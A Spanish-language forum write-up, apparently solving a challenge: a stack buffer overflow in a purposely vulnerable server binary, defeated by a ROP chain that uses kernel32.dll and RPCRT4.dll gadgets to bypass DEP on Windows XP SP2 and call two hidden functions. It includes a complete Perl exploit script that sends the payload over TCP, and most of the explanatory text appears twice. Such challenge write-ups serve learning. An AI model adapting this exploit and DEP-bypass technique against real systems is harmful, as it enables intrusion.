Solución Server Vuln de harry_the_blogger
Problema:
- Se debe lograr ejecutar dos funciones ocultas ubicadas en un ejecutable vulnerable a stack buffer overflow (desbordamiento de pila), por lo menos eso es lo que alude el ejecutable, harry_the_blogger no mencionó el objetivo del juego .
Solución:
La idea principal es lograr modificar PC (program counter) que en este caso (arquitectura) es lo que apunta el registro EIP, para ello la composición del exploit sería el siguiente:
Esto se podría realizar, pero el problema que tendríamos principalmente serían las direcciones de las funciones ocultas ya que estas contienen bytes nulos (null bytes), lo cual nos "cortaría" el flujo de nuestro exploit, para ello tenemos como solución lo siguiente:
Pero pfff y que ocurre con DEP ? Si usáramos esta solución, el sistema no nos permitiría la ejecución de código en el stack (mecanismo de protección).
Solución final:
Como solución propuesta, se me ocurrió utilizar cadenas ROP lo cual nos permitirá ejecutar código del mismo ejecutable y módulos cargados, el cual terminará llamando a las dos funciones ocultas y evitando la protección DEP:
- ¿Es standard?
Lamentablemente no ya que utiliza dos DLL cargadas por el sistema (las mencioné en el exploit). No lo pude hacer standard/genérico ya que al ser un ejecutable muy sencillo y no contar con sus propias DLL se me fue imposible encontrar cadenas ROP dentro de él y tuve que buscar DLLs del sistema.
- Saludos y agradecimientos
harry_the_blogger genial amigo que manera de programa muy linda y nada mejor que postees este tipo de retos en el foro lo cual a mi criterio simplemente aporta conocimiento y a Don Videla que ya nos veremos.
Aquí una imagen de la ejecución del exploit, por cierto DEP arrancó pero luego de haber ejecutado las funciones ocultas (seguramente por el desbordamiento ocasionado):
PD: Voy en un bus viajando así que perdona si no me pude explicar bien, si tienes alguna duda, con gusto te respondo
Problema:
- Se debe lograr ejecutar dos funciones ocultas ubicadas en un ejecutable vulnerable a stack buffer overflow (desbordamiento de pila), por lo menos eso es lo que alude el ejecutable, harry_the_blogger no mencionó el objetivo del juego .
Solución:
La idea principal es lograr modificar PC (program counter) que en este caso (arquitectura) es lo que apunta el registro EIP, para ello la composición del exploit sería el siguiente:
Código [Seleccionar]
- Basura ("A").
- Salto al stack (JMP ESP/PUSH ESP/RETN).
- Address función oculta 1 (0x40105E).
- Address función oculta 2 (0x401036).
[BASURA][SALTO AL STACK][ADDRESS FUNCION_OCULTA_1][RETORNO][ADDRESS FUNCION_OCULTA_2]
Esto se podría realizar, pero el problema que tendríamos principalmente serían las direcciones de las funciones ocultas ya que estas contienen bytes nulos (null bytes), lo cual nos "cortaría" el flujo de nuestro exploit, para ello tenemos como solución lo siguiente:
Código [Seleccionar]
- Basura ("A").
- Salto al stack (JMP ESP/PUSH ESP/RETN).
#----INICIO---Ejecución de código dentro del stack
- Mover las direcciones modificadas de las funciones ocultas a los registros (EJ: 0x401036 + 0x11111111h)
- Restar/sumar a las direcciones la modificación para que queden con su valor original.
- CALL Dirección oculta 1
- Call Dirección oculta 2
#----FIN -----Ejecución de código dentro del stack
Pero pfff y que ocurre con DEP ? Si usáramos esta solución, el sistema no nos permitiría la ejecución de código en el stack (mecanismo de protección).
Solución final:
Como solución propuesta, se me ocurrió utilizar cadenas ROP lo cual nos permitirá ejecutar código del mismo ejecutable y módulos cargados, el cual terminará llamando a las dos funciones ocultas y evitando la protección DEP:
Código (perl) [Seleccionar]
# Operating system = Microsoft Windows XP Profesional Versión 2002 Service Pack 2
# Language = Spanish
# Required DLL = kernel32.dll | RPCRT4.dll
# Author = UND3R
use strict;
use Socket;
my $junk = "\x41" x 64;
my $eip = pack('V', 0x7c87f30e); # kernel32.dll | POP EAX;POP EBP;RETN
my $hidden_two = pack('V', 0x373e47db); # 0x40105E - 0xC901C883 = 0x373E47DB
my $hidden_one = pack('V', 0x373e47b3); # 0x401036 - 0xC901C883 = 0x373E47B3
my $rop1 = pack('V', 0x7c80ad03); # kernel32.dll | ADD EAX,0xC901C883;RETN
my $rop2 = pack('V', 0x7c80b0eb); # kernel32.dll | XCHG EAX,EBP
my $rop3 = pack('V', 0x7c80ad03); # kernel32.dll | ADD EAX,0xC901C883;RETN
my $rop4 = pack('V', 0x77e61acc); # RPCRT4.dll | CALL EAX;RETN
my $rop5 = pack('V', 0x7c80b0eb); # kernel32.dll | XCHG EAX,EBP
my $rop6 = pack('V', 0x77e61acc); # RPCRT4.dll | CALL EAX;RETN
my $exploit = $junk . $eip . $hidden_two . $hidden_one . $rop1 . $rop2 . $rop3 . $rop4 . $rop5 . $rop6;
# initialize host and port
my $host = shift || 'localhost';
my $port = shift || 6666;
my $proto = getprotobyname('tcp');
# get the port address
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($port, $iaddr);
print "[+] Setting up socket\n";
# create the socket, connect to the port
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
print "[+] Connecting to $host on port $port\n";
connect(SOCKET, $paddr) or die "connect: $!";
print "[+] Sending payload (size = " . length($exploit) . ") \n";
print SOCKET $exploit."\n";
print "[+] Payload sent\n";
close SOCKET or die "close: $!";
- ¿Es standard?
Lamentablemente no ya que utiliza dos DLL cargadas por el sistema (las mencioné en el exploit). No lo pude hacer standard/genérico ya que al ser un ejecutable muy sencillo y no contar con sus propias DLL se me fue imposible encontrar cadenas ROP dentro de él y tuve que buscar DLLs del sistema.
- Saludos y agradecimientos
harry_the_blogger genial amigo que manera de programa muy linda y nada mejor que postees este tipo de retos en el foro lo cual a mi criterio simplemente aporta conocimiento y a Don Videla que ya nos veremos.
Aquí una imagen de la ejecución del exploit, por cierto DEP arrancó pero luego de haber ejecutado las funciones ocultas (seguramente por el desbordamiento ocasionado):
PD: Voy en un bus viajando así que perdona si no me pude explicar bien, si tienes alguna duda, con gusto te respondo